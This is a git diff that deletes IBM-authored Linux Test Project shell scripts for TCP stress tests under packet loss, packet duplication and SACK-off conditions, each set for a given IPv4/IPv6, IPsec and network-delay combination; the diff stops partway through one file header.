mode 100644 index b706a9e7..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup03 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup03 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup04 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup04 deleted file mode 100644 index 892887ba..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup04 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup04 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup05 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup05 deleted file mode 100644 index 3183247d..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup05 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup05 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup06 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup06 deleted file mode 100644 index 56ea995f..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup06 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup06 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup07 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup07 deleted file mode 100644 index 71c5ab29..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup07 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup07 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup08 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup08 deleted file mode 100644 index f532ff39..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup08 +++ /dev/null @@ -1,62 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup08 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup09 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup09 deleted file mode 100644 index d12d7ad9..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup09 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup09 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup10 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup10 deleted file mode 100644 index c92bb7c5..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup10 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup10 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup11 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup11 deleted file mode 100644 index 04131007..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup11 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup11 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup12 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup12 deleted file mode 100644 index a678d8b0..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup12 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup12 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup13 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup13 deleted file mode 100644 index 466fdf74..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup13 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup13 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup14 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup14 deleted file mode 100644 index 3810a802..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup14 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup14 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/uni-sackoff/00_Descriptions.txt deleted file mode 100644 index ee6a30cd..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/00_Descriptions.txt +++ /dev/null @@ -1,126 +0,0 @@ -Verify that the kernel, when both SACK and Duplicate SACK supports are off, -is not crashed by a TCP connection on an unreliable network (Namely, some of -the packet is lost, some of them is duplicated). - -tcp4-uni-dsackoff01 - IPv4 - -tcp4-uni-dsackoff02 - IPv4 - IPsec [ AH / transport ] - -tcp4-uni-dsackoff03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-uni-dsackoff04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-uni-dsackoff05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-uni-dsackoff06 - IPv4 - IPcomp [ transport ] - -tcp4-uni-dsackoff07 - IPv4 - IPcomp [ tunnel ] - -tcp4-uni-dsackoff08 - IPv4 - Network is delayed - -tcp4-uni-dsackoff09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-uni-dsackoff10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-uni-dsackoff11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-uni-dsackoff12 - IPv4 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp4-uni-dsackoff13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-uni-dsackoff14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-uni-dsackoff01 - IPv6 - -tcp6-uni-dsackoff02 - IPv6 - IPsec [ AH / transport ] - -tcp6-uni-dsackoff03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-uni-dsackoff04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-uni-dsackoff05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-uni-dsackoff06 - IPv6 - IPcomp [ transport ] - -tcp6-uni-dsackoff07 - IPv6 - IPcomp [ tunnel ] - -tcp6-uni-dsackoff08 - IPv6 - Network is delayed - -tcp6-uni-dsackoff09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-uni-dsackoff10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-uni-dsackoff11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-uni-dsackoff12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-uni-dsackoff13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-uni-dsackoff14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/Makefile b/ltp/testcases/network/stress/tcp/uni-sackoff/Makefile deleted file mode 100644 index 0d873587..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/tcp/uni-sackoff testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff01 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff01 deleted file mode 100644 index 0745f902..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff01 +++ /dev/null @@ -1,84 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-sackoff01 -# -# Description: -# Verify that the kernel is not crashed with a unreliable connection to with -# the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# - Disable window scaling -# - Enable Nagle algorithm -# - Disable TCP Duplicate SACK support -# - Disable SACK Support -# - Some packets are lost -# - Disable TSO if it is avalable -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-uni-sackoff01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel, when both SACK and Duplicate SACK supports are off, is not crashed by a TCP connection on an unreliable network(Namely, some of the packet is lost, some of them is duplicated)." - -# Disable SACK support -DO_SACK=false - -# Disable DSACK support -DO_DSACK=false - -# Make some packets are lost -DO_PACKET_LOSS=true - -# Make some packets are duplicated -DO_PACKET_DUP=true - -# Load tcp4-uni-basic01 -NON_BASIC=true - -. tcp4-uni-basic01 - -exit 0 diff --git a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff02 b/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff02 deleted file mode 100644 index 02e70c9d..00000000 --- a/ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff02 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# 